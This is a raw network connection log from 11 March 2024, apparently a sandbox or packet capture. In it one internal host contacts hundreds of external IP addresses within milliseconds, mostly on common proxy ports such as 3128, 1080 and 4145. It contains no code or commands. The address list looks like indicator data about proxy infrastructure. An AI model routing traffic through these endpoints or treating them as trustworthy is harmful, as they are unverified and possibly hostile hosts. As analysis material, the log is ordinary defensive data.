Mar 11, 2024 15:21:03.512620926 CET	51134	3128	192.168.2.9	163.172.33.148
Mar 11, 2024 15:21:03.512629032 CET	50055	8635	192.168.2.9	51.159.221.176
Mar 11, 2024 15:21:03.512629032 CET	51131	8081	192.168.2.9	113.53.3.242
Mar 11, 2024 15:21:03.512646914 CET	51143	80	192.168.2.9	202.61.204.51
Mar 11, 2024 15:21:03.512783051 CET	49790	80	192.168.2.9	50.168.163.166
Mar 11, 2024 15:21:03.514879942 CET	8193	51266	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.514895916 CET	20828	50425	103.92.235.60	192.168.2.9
Mar 11, 2024 15:21:03.514930010 CET	51266	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.514934063 CET	20828	50425	103.92.235.60	192.168.2.9
Mar 11, 2024 15:21:03.514974117 CET	50425	20828	192.168.2.9	103.92.235.60
Mar 11, 2024 15:21:03.515919924 CET	4153	51074	152.32.84.108	192.168.2.9
Mar 11, 2024 15:21:03.516592026 CET	8193	51266	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.516625881 CET	4153	51074	152.32.84.108	192.168.2.9
Mar 11, 2024 15:21:03.519447088 CET	39533	50014	167.172.109.12	192.168.2.9
Mar 11, 2024 15:21:03.520008087 CET	80	49780	50.145.6.32	192.168.2.9
Mar 11, 2024 15:21:03.520221949 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:03.522989035 CET	8899	50535	117.160.250.132	192.168.2.9
Mar 11, 2024 15:21:03.523003101 CET	8899	50535	117.160.250.132	192.168.2.9
Mar 11, 2024 15:21:03.523199081 CET	8899	50535	117.160.250.132	192.168.2.9
Mar 11, 2024 15:21:03.523211956 CET	5678	50722	79.127.35.243	192.168.2.9
Mar 11, 2024 15:21:03.523240089 CET	50535	8899	192.168.2.9	117.160.250.132
Mar 11, 2024 15:21:03.523376942 CET	3080	50905	149.154.69.203	192.168.2.9
Mar 11, 2024 15:21:03.523710966 CET	1080	50740	94.131.106.196	192.168.2.9
Mar 11, 2024 15:21:03.523791075 CET	50740	1080	192.168.2.9	94.131.106.196
Mar 11, 2024 15:21:03.527196884 CET	80	51408	141.147.33.121	192.168.2.9
Mar 11, 2024 15:21:03.527226925 CET	80	50086	50.222.245.47	192.168.2.9
Mar 11, 2024 15:21:03.528250933 CET	51180	8080	192.168.2.9	94.26.241.120
Mar 11, 2024 15:21:03.528250933 CET	50331	80	192.168.2.9	50.223.38.6
Mar 11, 2024 15:21:03.528250933 CET	51215	80	192.168.2.9	116.203.27.109
Mar 11, 2024 15:21:03.528362989 CET	49746	80	192.168.2.9	50.174.214.218
Mar 11, 2024 15:21:03.529884100 CET	7777	51230	113.250.189.196	192.168.2.9
Mar 11, 2024 15:21:03.530249119 CET	3128	51168	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:03.530519962 CET	3128	51168	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:03.531594038 CET	3128	51411	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:03.531701088 CET	51411	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:03.532212973 CET	80	50253	75.89.101.62	192.168.2.9
Mar 11, 2024 15:21:03.532367945 CET	7497	49731	157.230.8.196	192.168.2.9
Mar 11, 2024 15:21:03.532691956 CET	27660	50041	139.162.181.177	192.168.2.9
Mar 11, 2024 15:21:03.533086061 CET	59347	50273	157.245.82.62	192.168.2.9
Mar 11, 2024 15:21:03.533226967 CET	51597	3128	192.168.2.9	34.32.145.197
Mar 11, 2024 15:21:03.533301115 CET	50781	4145	192.168.2.9	72.217.158.202
Mar 11, 2024 15:21:03.533377886 CET	80	51082	50.174.145.12	192.168.2.9
Mar 11, 2024 15:21:03.533485889 CET	50713	23711	192.168.2.9	45.81.232.17
Mar 11, 2024 15:21:03.533655882 CET	51249	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.533750057 CET	51246	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:03.534681082 CET	26619	50278	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:03.535156965 CET	51598	80	192.168.2.9	36.229.100.73
Mar 11, 2024 15:21:03.535664082 CET	80	51365	104.24.193.186	192.168.2.9
Mar 11, 2024 15:21:03.535677910 CET	3128	50618	139.129.162.65	192.168.2.9
Mar 11, 2024 15:21:03.535690069 CET	80	50363	50.145.6.38	192.168.2.9
Mar 11, 2024 15:21:03.535738945 CET	50618	3128	192.168.2.9	139.129.162.65
Mar 11, 2024 15:21:03.536987066 CET	80	50511	188.40.44.95	192.168.2.9
Mar 11, 2024 15:21:03.537000895 CET	8080	50360	124.120.113.165	192.168.2.9
Mar 11, 2024 15:21:03.537125111 CET	51599	39674	192.168.2.9	36.67.27.189
Mar 11, 2024 15:21:03.537139893 CET	50511	80	192.168.2.9	188.40.44.95
Mar 11, 2024 15:21:03.537249088 CET	51600	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.537470102 CET	51601	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:03.537672043 CET	51266	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.537976027 CET	51603	80	192.168.2.9	50.169.135.10
Mar 11, 2024 15:21:03.538149118 CET	51602	29796	192.168.2.9	54.36.122.16
Mar 11, 2024 15:21:03.538976908 CET	51605	3128	192.168.2.9	134.122.22.233
Mar 11, 2024 15:21:03.538986921 CET	50425	20828	192.168.2.9	103.92.235.60
Mar 11, 2024 15:21:03.539036036 CET	51401	8180	192.168.2.9	47.243.114.192
Mar 11, 2024 15:21:03.539222956 CET	51604	8080	192.168.2.9	119.18.149.34
Mar 11, 2024 15:21:03.540113926 CET	1080	51332	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:03.540246010 CET	1080	51332	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:03.540508032 CET	51332	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:03.542226076 CET	8175	51437	72.10.160.170	192.168.2.9
Mar 11, 2024 15:21:03.542247057 CET	8080	49811	84.241.8.234	192.168.2.9
Mar 11, 2024 15:21:03.543842077 CET	51150	1994	192.168.2.9	190.238.231.65
Mar 11, 2024 15:21:03.543849945 CET	50931	3129	192.168.2.9	20.219.177.73
Mar 11, 2024 15:21:03.543849945 CET	50568	80	192.168.2.9	50.172.218.164
Mar 11, 2024 15:21:03.543849945 CET	51154	8085	192.168.2.9	191.102.254.54
Mar 11, 2024 15:21:03.543855906 CET	50045	80	192.168.2.9	81.250.223.126
Mar 11, 2024 15:21:03.543855906 CET	51148	8000	192.168.2.9	103.182.112.11
Mar 11, 2024 15:21:03.543867111 CET	50282	4145	192.168.2.9	199.102.105.242
Mar 11, 2024 15:21:03.543874979 CET	51155	8080	192.168.2.9	103.169.130.46
Mar 11, 2024 15:21:03.543874979 CET	51156	62607	192.168.2.9	50.62.134.139
Mar 11, 2024 15:21:03.544131041 CET	51152	8880	192.168.2.9	115.127.13.154
Mar 11, 2024 15:21:03.544137955 CET	51157	1080	192.168.2.9	190.104.213.175
Mar 11, 2024 15:21:03.545804977 CET	7302	50447	211.93.2.190	192.168.2.9
Mar 11, 2024 15:21:03.545860052 CET	50447	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:03.547580957 CET	80	51429	68.185.57.66	192.168.2.9
Mar 11, 2024 15:21:03.548003912 CET	4145	51459	184.178.172.26	192.168.2.9
Mar 11, 2024 15:21:03.548583031 CET	51606	8080	192.168.2.9	110.34.8.110
Mar 11, 2024 15:21:03.548743010 CET	50535	8899	192.168.2.9	117.160.250.132
Mar 11, 2024 15:21:03.549158096 CET	51608	80	192.168.2.9	104.16.108.204
Mar 11, 2024 15:21:03.549181938 CET	51607	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.549731016 CET	50740	1080	192.168.2.9	94.131.106.196
Mar 11, 2024 15:21:03.549773932 CET	51411	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:03.550112009 CET	51332	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:03.550182104 CET	4145	51201	104.37.135.145	192.168.2.9
Mar 11, 2024 15:21:03.551537037 CET	9764	51252	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:03.551822901 CET	50107	999	192.168.2.9	45.181.123.151
Mar 11, 2024 15:21:03.551942110 CET	51609	24183	192.168.2.9	92.205.61.38
Mar 11, 2024 15:21:03.552071095 CET	9764	51447	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:03.552197933 CET	51447	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:03.552251101 CET	9764	51252	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:03.552371025 CET	51610	60651	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:03.552438974 CET	51447	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:03.552580118 CET	51611	1080	192.168.2.9	45.128.133.141
Mar 11, 2024 15:21:03.552707911 CET	51612	999	192.168.2.9	190.120.188.114
Mar 11, 2024 15:21:03.552773952 CET	51613	8081	192.168.2.9	103.169.187.29
Mar 11, 2024 15:21:03.552932978 CET	51614	5678	192.168.2.9	41.60.232.18
Mar 11, 2024 15:21:03.553030968 CET	51615	8080	192.168.2.9	176.213.141.107
Mar 11, 2024 15:21:03.553158998 CET	51616	8080	192.168.2.9	103.77.50.168
Mar 11, 2024 15:21:03.553206921 CET	51617	80	192.168.2.9	46.35.9.110
Mar 11, 2024 15:21:03.553419113 CET	51618	3128	192.168.2.9	121.140.63.249
Mar 11, 2024 15:21:03.553435087 CET	51619	3128	192.168.2.9	140.227.204.70
Mar 11, 2024 15:21:03.553705931 CET	51620	3127	192.168.2.9	59.92.70.176
Mar 11, 2024 15:21:03.553716898 CET	51621	7117	192.168.2.9	135.181.102.118
Mar 11, 2024 15:21:03.553802967 CET	51622	3128	192.168.2.9	125.99.106.250
Mar 11, 2024 15:21:03.553972006 CET	51623	24230	192.168.2.9	147.124.212.31
Mar 11, 2024 15:21:03.554056883 CET	51624	14076	192.168.2.9	148.72.206.250
Mar 11, 2024 15:21:03.554181099 CET	51625	4153	192.168.2.9	187.122.105.181
Mar 11, 2024 15:21:03.554260015 CET	51626	1811	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:03.554431915 CET	51627	80	192.168.2.9	172.67.181.20
Mar 11, 2024 15:21:03.554546118 CET	51628	4145	192.168.2.9	199.116.114.11
Mar 11, 2024 15:21:03.554578066 CET	51629	5678	192.168.2.9	91.222.198.125
Mar 11, 2024 15:21:03.554773092 CET	51630	4145	192.168.2.9	103.113.3.238
Mar 11, 2024 15:21:03.554933071 CET	51631	999	192.168.2.9	45.174.57.66
Mar 11, 2024 15:21:03.555000067 CET	51632	59828	192.168.2.9	148.72.211.168
Mar 11, 2024 15:21:03.555263042 CET	51633	7302	192.168.2.9	61.178.152.31
Mar 11, 2024 15:21:03.557487011 CET	80	50505	186.124.164.213	192.168.2.9
Mar 11, 2024 15:21:03.557501078 CET	80	50505	186.124.164.213	192.168.2.9
Mar 11, 2024 15:21:03.558100939 CET	80	51089	50.174.7.156	192.168.2.9
Mar 11, 2024 15:21:03.558115005 CET	80	50505	186.124.164.213	192.168.2.9
Mar 11, 2024 15:21:03.558173895 CET	50505	80	192.168.2.9	186.124.164.213
Mar 11, 2024 15:21:03.558188915 CET	80	50505	186.124.164.213	192.168.2.9
Mar 11, 2024 15:21:03.558290005 CET	50505	80	192.168.2.9	186.124.164.213
Mar 11, 2024 15:21:03.558469057 CET	51634	443	192.168.2.9	5.161.108.72
Mar 11, 2024 15:21:03.558491945 CET	443	51634	5.161.108.72	192.168.2.9
Mar 11, 2024 15:21:03.558569908 CET	51634	443	192.168.2.9	5.161.108.72
Mar 11, 2024 15:21:03.559469938 CET	3128	50841	51.159.66.158	192.168.2.9
Mar 11, 2024 15:21:03.559515953 CET	51166	8282	192.168.2.9	119.2.52.152
Mar 11, 2024 15:21:03.559520006 CET	51636	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:03.559524059 CET	50413	16614	192.168.2.9	178.62.79.49
Mar 11, 2024 15:21:03.559520006 CET	51635	41442	192.168.2.9	89.58.45.94
Mar 11, 2024 15:21:03.559525013 CET	49741	4153	192.168.2.9	103.209.230.185
Mar 11, 2024 15:21:03.559524059 CET	49758	80	192.168.2.9	50.173.182.90
Mar 11, 2024 15:21:03.559540033 CET	51634	443	192.168.2.9	5.161.108.72
Mar 11, 2024 15:21:03.559542894 CET	50841	3128	192.168.2.9	51.159.66.158
Mar 11, 2024 15:21:03.559560061 CET	443	51634	5.161.108.72	192.168.2.9
Mar 11, 2024 15:21:03.559668064 CET	443	51634	5.161.108.72	192.168.2.9
Mar 11, 2024 15:21:03.559765100 CET	50841	3128	192.168.2.9	51.159.66.158
Mar 11, 2024 15:21:03.559927940 CET	51637	4145	192.168.2.9	83.228.47.75
Mar 11, 2024 15:21:03.559995890 CET	51638	3414	192.168.2.9	92.205.110.118
Mar 11, 2024 15:21:03.560231924 CET	51639	3128	192.168.2.9	3.21.101.158
Mar 11, 2024 15:21:03.560251951 CET	51640	5189	192.168.2.9	213.136.79.177
Mar 11, 2024 15:21:03.560384035 CET	51641	11070	192.168.2.9	147.124.212.31
Mar 11, 2024 15:21:03.560549021 CET	51642	8080	192.168.2.9	103.242.104.101
Mar 11, 2024 15:21:03.560575008 CET	51643	52814	192.168.2.9	50.63.12.33
Mar 11, 2024 15:21:03.561773062 CET	51644	36869	192.168.2.9	208.113.220.98
Mar 11, 2024 15:21:03.561918020 CET	8089	51009	80.91.125.238	192.168.2.9
Mar 11, 2024 15:21:03.562325954 CET	51645	3128	192.168.2.9	190.111.209.207
Mar 11, 2024 15:21:03.562675953 CET	51647	3128	192.168.2.9	5.34.201.244
Mar 11, 2024 15:21:03.562697887 CET	51646	443	192.168.2.9	5.161.108.72
Mar 11, 2024 15:21:03.562717915 CET	3629	50898	14.115.106.116	192.168.2.9
Mar 11, 2024 15:21:03.562731028 CET	443	51646	5.161.108.72	192.168.2.9
Mar 11, 2024 15:21:03.562853098 CET	51646	443	192.168.2.9	5.161.108.72
Mar 11, 2024 15:21:03.563229084 CET	51648	999	192.168.2.9	170.239.205.3
Mar 11, 2024 15:21:03.563546896 CET	51646	443	192.168.2.9	5.161.108.72
Mar 11, 2024 15:21:03.563560009 CET	443	51646	5.161.108.72	192.168.2.9
Mar 11, 2024 15:21:03.563617945 CET	443	51646	5.161.108.72	192.168.2.9
Mar 11, 2024 15:21:03.563954115 CET	51650	3128	192.168.2.9	34.83.143.6
Mar 11, 2024 15:21:03.564238071 CET	51649	4145	192.168.2.9	184.185.2.12
Mar 11, 2024 15:21:03.564435005 CET	3128	51061	194.145.209.187	192.168.2.9
Mar 11, 2024 15:21:03.564599037 CET	51651	4145	192.168.2.9	192.12.112.70
Mar 11, 2024 15:21:03.564626932 CET	38351	50928	115.75.5.17	192.168.2.9
Mar 11, 2024 15:21:03.565515995 CET	51652	999	192.168.2.9	38.50.166.244
Mar 11, 2024 15:21:03.566107988 CET	51653	8080	192.168.2.9	95.165.161.27
Mar 11, 2024 15:21:03.566286087 CET	51654	3128	192.168.2.9	36.134.25.72
Mar 11, 2024 15:21:03.566580057 CET	5000	51102	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:03.566591024 CET	5000	51102	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:03.567230940 CET	51655	8080	192.168.2.9	103.69.151.189
Mar 11, 2024 15:21:03.567500114 CET	51656	999	192.168.2.9	190.109.5.138
Mar 11, 2024 15:21:03.567578077 CET	51657	3128	192.168.2.9	197.242.146.109
Mar 11, 2024 15:21:03.567740917 CET	51658	4153	192.168.2.9	185.32.6.121
Mar 11, 2024 15:21:03.567958117 CET	51659	40975	192.168.2.9	146.59.18.246
Mar 11, 2024 15:21:03.568023920 CET	51660	1088	192.168.2.9	46.227.39.2
Mar 11, 2024 15:21:03.568829060 CET	51661	8000	192.168.2.9	202.162.105.202
Mar 11, 2024 15:21:03.568883896 CET	51663	4153	192.168.2.9	168.194.226.178
Mar 11, 2024 15:21:03.568912983 CET	51662	999	192.168.2.9	45.70.236.150
Mar 11, 2024 15:21:03.569917917 CET	51664	80	192.168.2.9	104.18.136.28
Mar 11, 2024 15:21:03.569921017 CET	51666	3128	192.168.2.9	88.198.82.189
Mar 11, 2024 15:21:03.570019007 CET	4145	51407	159.192.240.90	192.168.2.9
Mar 11, 2024 15:21:03.570185900 CET	51665	8080	192.168.2.9	176.241.143.197
Mar 11, 2024 15:21:03.570333004 CET	51667	16379	192.168.2.9	51.15.247.93
Mar 11, 2024 15:21:03.570708036 CET	3128	51257	116.62.147.249	192.168.2.9
Mar 11, 2024 15:21:03.570722103 CET	3128	51257	116.62.147.249	192.168.2.9
Mar 11, 2024 15:21:03.570842981 CET	51257	3128	192.168.2.9	116.62.147.249
Mar 11, 2024 15:21:03.571007013 CET	51670	59967	192.168.2.9	185.220.174.99
Mar 11, 2024 15:21:03.571008921 CET	51257	3128	192.168.2.9	116.62.147.249
Mar 11, 2024 15:21:03.571217060 CET	4145	49970	222.124.130.197	192.168.2.9
Mar 11, 2024 15:21:03.571248055 CET	51669	3128	192.168.2.9	185.123.101.174
Mar 11, 2024 15:21:03.571352005 CET	51668	80	192.168.2.9	104.16.195.74
Mar 11, 2024 15:21:03.571952105 CET	51671	8089	192.168.2.9	114.231.41.164
Mar 11, 2024 15:21:03.572295904 CET	51672	1080	192.168.2.9	160.226.203.247
Mar 11, 2024 15:21:03.572416067 CET	51674	8085	192.168.2.9	103.153.63.211
Mar 11, 2024 15:21:03.572693110 CET	51673	8081	192.168.2.9	106.14.207.142
Mar 11, 2024 15:21:03.572917938 CET	51675	32524	192.168.2.9	92.204.135.37
Mar 11, 2024 15:21:03.572927952 CET	31654	50435	98.162.25.4	192.168.2.9
Mar 11, 2024 15:21:03.573443890 CET	4145	50457	184.178.172.17	192.168.2.9
Mar 11, 2024 15:21:03.573477983 CET	51676	50003	192.168.2.9	41.242.116.150
Mar 11, 2024 15:21:03.573537111 CET	51677	13003	192.168.2.9	51.161.33.206
Mar 11, 2024 15:21:03.573565960 CET	4145	50457	184.178.172.17	192.168.2.9
Mar 11, 2024 15:21:03.573647976 CET	4145	50454	184.178.172.14	192.168.2.9
Mar 11, 2024 15:21:03.574014902 CET	4145	50454	184.178.172.14	192.168.2.9
Mar 11, 2024 15:21:03.574028015 CET	10919	50431	98.178.72.21	192.168.2.9
Mar 11, 2024 15:21:03.574038982 CET	10919	50431	98.178.72.21	192.168.2.9
Mar 11, 2024 15:21:03.574358940 CET	51678	9141	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:03.574373007 CET	31654	50435	98.162.25.4	192.168.2.9
Mar 11, 2024 15:21:03.574435949 CET	5000	51402	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:03.575112104 CET	50343	5678	192.168.2.9	185.56.180.14
Mar 11, 2024 15:21:03.575134039 CET	51267	16831	192.168.2.9	205.185.117.77
Mar 11, 2024 15:21:03.575134039 CET	51162	8090	192.168.2.9	27.147.131.122
Mar 11, 2024 15:21:03.575146914 CET	50681	4145	192.168.2.9	199.102.106.94
Mar 11, 2024 15:21:03.575146914 CET	50203	8085	192.168.2.9	95.38.95.40
Mar 11, 2024 15:21:03.575149059 CET	50615	25137	192.168.2.9	92.204.136.149
Mar 11, 2024 15:21:03.575149059 CET	51161	3128	192.168.2.9	185.236.202.205
Mar 11, 2024 15:21:03.575151920 CET	50063	48993	192.168.2.9	181.212.136.34
Mar 11, 2024 15:21:03.575158119 CET	49835	8000	192.168.2.9	142.93.2.226
Mar 11, 2024 15:21:03.575158119 CET	50380	8181	192.168.2.9	43.132.184.228
Mar 11, 2024 15:21:03.575176001 CET	51167	8080	192.168.2.9	95.84.166.138
Mar 11, 2024 15:21:03.575186014 CET	50050	80	192.168.2.9	85.8.68.2
Mar 11, 2024 15:21:03.575256109 CET	51402	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:03.575689077 CET	80	51140	50.173.140.144	192.168.2.9
Mar 11, 2024 15:21:03.575841904 CET	51680	1976	192.168.2.9	217.52.247.86
Mar 11, 2024 15:21:03.575973034 CET	80	51444	50.168.163.179	192.168.2.9
Mar 11, 2024 15:21:03.576232910 CET	51681	16379	192.168.2.9	163.172.147.9
Mar 11, 2024 15:21:03.576236010 CET	51679	43751	192.168.2.9	94.23.220.136
Mar 11, 2024 15:21:03.576730013 CET	51683	7698	192.168.2.9	107.180.90.248
Mar 11, 2024 15:21:03.576730967 CET	51682	8888	192.168.2.9	103.179.182.159
Mar 11, 2024 15:21:03.576948881 CET	51684	4145	192.168.2.9	186.211.2.54
Mar 11, 2024 15:21:03.577169895 CET	51685	8080	192.168.2.9	180.254.191.56
Mar 11, 2024 15:21:03.577426910 CET	51686	4145	192.168.2.9	177.125.163.178
Mar 11, 2024 15:21:03.577713966 CET	51687	4145	192.168.2.9	117.20.56.203
Mar 11, 2024 15:21:03.577924967 CET	51688	7497	192.168.2.9	194.181.82.37
Mar 11, 2024 15:21:03.578455925 CET	51689	80	192.168.2.9	162.223.89.84
Mar 11, 2024 15:21:03.578531027 CET	80	49992	35.72.118.126	192.168.2.9
Mar 11, 2024 15:21:03.578600883 CET	49992	80	192.168.2.9	35.72.118.126
Mar 11, 2024 15:21:03.578777075 CET	51690	80	192.168.2.9	50.239.72.18
Mar 11, 2024 15:21:03.578782082 CET	51691	3128	192.168.2.9	176.58.96.11
Mar 11, 2024 15:21:03.579078913 CET	4145	51350	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:03.579091072 CET	4145	51350	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:03.579673052 CET	51693	5678	192.168.2.9	103.130.113.129
Mar 11, 2024 15:21:03.579673052 CET	51692	4145	192.168.2.9	72.252.4.49
Mar 11, 2024 15:21:03.580013037 CET	51694	53695	192.168.2.9	45.166.26.81
Mar 11, 2024 15:21:03.580229998 CET	51695	3128	192.168.2.9	103.13.229.193
Mar 11, 2024 15:21:03.580713987 CET	51697	80	192.168.2.9	50.172.227.202
Mar 11, 2024 15:21:03.580738068 CET	51696	8080	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:03.581218004 CET	51698	8080	192.168.2.9	103.188.168.66
Mar 11, 2024 15:21:03.581731081 CET	51699	80	192.168.2.9	162.241.207.217
Mar 11, 2024 15:21:03.581794977 CET	51700	50540	192.168.2.9	208.109.14.49
Mar 11, 2024 15:21:03.581852913 CET	51701	999	192.168.2.9	177.234.194.157
Mar 11, 2024 15:21:03.582058907 CET	1080	50941	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:03.582410097 CET	51702	61041	192.168.2.9	162.241.137.197
Mar 11, 2024 15:21:03.582875013 CET	51703	8080	192.168.2.9	203.189.150.48
Mar 11, 2024 15:21:03.583379984 CET	51704	43581	192.168.2.9	162.214.154.178
Mar 11, 2024 15:21:03.583611965 CET	51705	2572	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:03.583858967 CET	51706	19909	192.168.2.9	67.43.236.22
Mar 11, 2024 15:21:03.584069967 CET	51707	80	192.168.2.9	162.120.71.11
Mar 11, 2024 15:21:03.584430933 CET	51708	39737	192.168.2.9	207.180.234.220
Mar 11, 2024 15:21:03.585743904 CET	51709	80	192.168.2.9	82.64.77.30
Mar 11, 2024 15:21:03.585977077 CET	51711	80	192.168.2.9	129.151.87.50
Mar 11, 2024 15:21:03.585988998 CET	51710	56241	192.168.2.9	162.241.46.40
Mar 11, 2024 15:21:03.586323023 CET	51712	80	192.168.2.9	103.213.97.74
Mar 11, 2024 15:21:03.586386919 CET	1080	49987	43.229.254.163	192.168.2.9
Mar 11, 2024 15:21:03.586524963 CET	51715	23667	192.168.2.9	104.238.111.107
Mar 11, 2024 15:21:03.586528063 CET	51714	4153	192.168.2.9	118.67.170.121
Mar 11, 2024 15:21:03.586559057 CET	51713	30011	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:03.587161064 CET	51716	8080	192.168.2.9	115.96.208.124
Mar 11, 2024 15:21:03.587332964 CET	57364	51050	162.241.53.72	192.168.2.9
Mar 11, 2024 15:21:03.587332964 CET	51717	26689	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:03.587529898 CET	51718	5678	192.168.2.9	196.44.181.37
Mar 11, 2024 15:21:03.587667942 CET	51050	57364	192.168.2.9	162.241.53.72
Mar 11, 2024 15:21:03.588042021 CET	51719	4145	192.168.2.9	202.5.54.70
Mar 11, 2024 15:21:03.588279009 CET	51720	8080	192.168.2.9	45.236.44.94
Mar 11, 2024 15:21:03.588594913 CET	51721	60651	192.168.2.9	162.241.6.97
Mar 11, 2024 15:21:03.588802099 CET	51722	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.588823080 CET	443	51722	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.588979959 CET	80	51127	50.174.7.158	192.168.2.9
Mar 11, 2024 15:21:03.589098930 CET	51722	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.589266062 CET	51723	8738	192.168.2.9	159.89.194.121
Mar 11, 2024 15:21:03.589562893 CET	51724	5678	192.168.2.9	80.92.227.185
Mar 11, 2024 15:21:03.590111971 CET	51725	80	192.168.2.9	104.16.230.163
Mar 11, 2024 15:21:03.590404034 CET	80	50494	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:03.590717077 CET	50443	80	192.168.2.9	50.218.57.70
Mar 11, 2024 15:21:03.590717077 CET	50633	18657	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:03.590722084 CET	50625	18031	192.168.2.9	72.10.160.91
Mar 11, 2024 15:21:03.590723991 CET	51726	80	192.168.2.9	41.89.16.6
Mar 11, 2024 15:21:03.590723991 CET	50422	8000	192.168.2.9	66.63.168.119
Mar 11, 2024 15:21:03.590734005 CET	51169	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:03.590737104 CET	50401	80	192.168.2.9	50.170.90.29
Mar 11, 2024 15:21:03.590748072 CET	51175	57114	192.168.2.9	222.129.37.92
Mar 11, 2024 15:21:03.590780973 CET	3629	51406	176.100.77.118	192.168.2.9
Mar 11, 2024 15:21:03.590811968 CET	51170	20896	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:03.591445923 CET	51729	8118	192.168.2.9	38.54.116.9
Mar 11, 2024 15:21:03.591727018 CET	51727	8080	192.168.2.9	103.75.96.70
Mar 11, 2024 15:21:03.591932058 CET	51728	4145	192.168.2.9	184.178.172.17
Mar 11, 2024 15:21:03.591976881 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.591989994 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592066050 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592078924 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592104912 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592134953 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.592134953 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.592158079 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592170954 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592211962 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592269897 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592303991 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.592317104 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592344999 CET	51730	8123	192.168.2.9	20.210.113.32
Mar 11, 2024 15:21:03.592358112 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592391014 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592403889 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592426062 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.592444897 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592454910 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.592480898 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592499018 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592520952 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.592578888 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.592587948 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592602015 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.592742920 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.592927933 CET	51731	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:03.592969894 CET	51732	10919	192.168.2.9	98.178.72.21
Mar 11, 2024 15:21:03.592973948 CET	51733	3128	192.168.2.9	185.105.185.185
Mar 11, 2024 15:21:03.593436956 CET	51402	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:03.593770981 CET	51734	80	192.168.2.9	50.172.75.125
Mar 11, 2024 15:21:03.593844891 CET	18636	51015	51.79.87.144	192.168.2.9
Mar 11, 2024 15:21:03.594037056 CET	51050	57364	192.168.2.9	162.241.53.72
Mar 11, 2024 15:21:03.594075918 CET	51015	18636	192.168.2.9	51.79.87.144
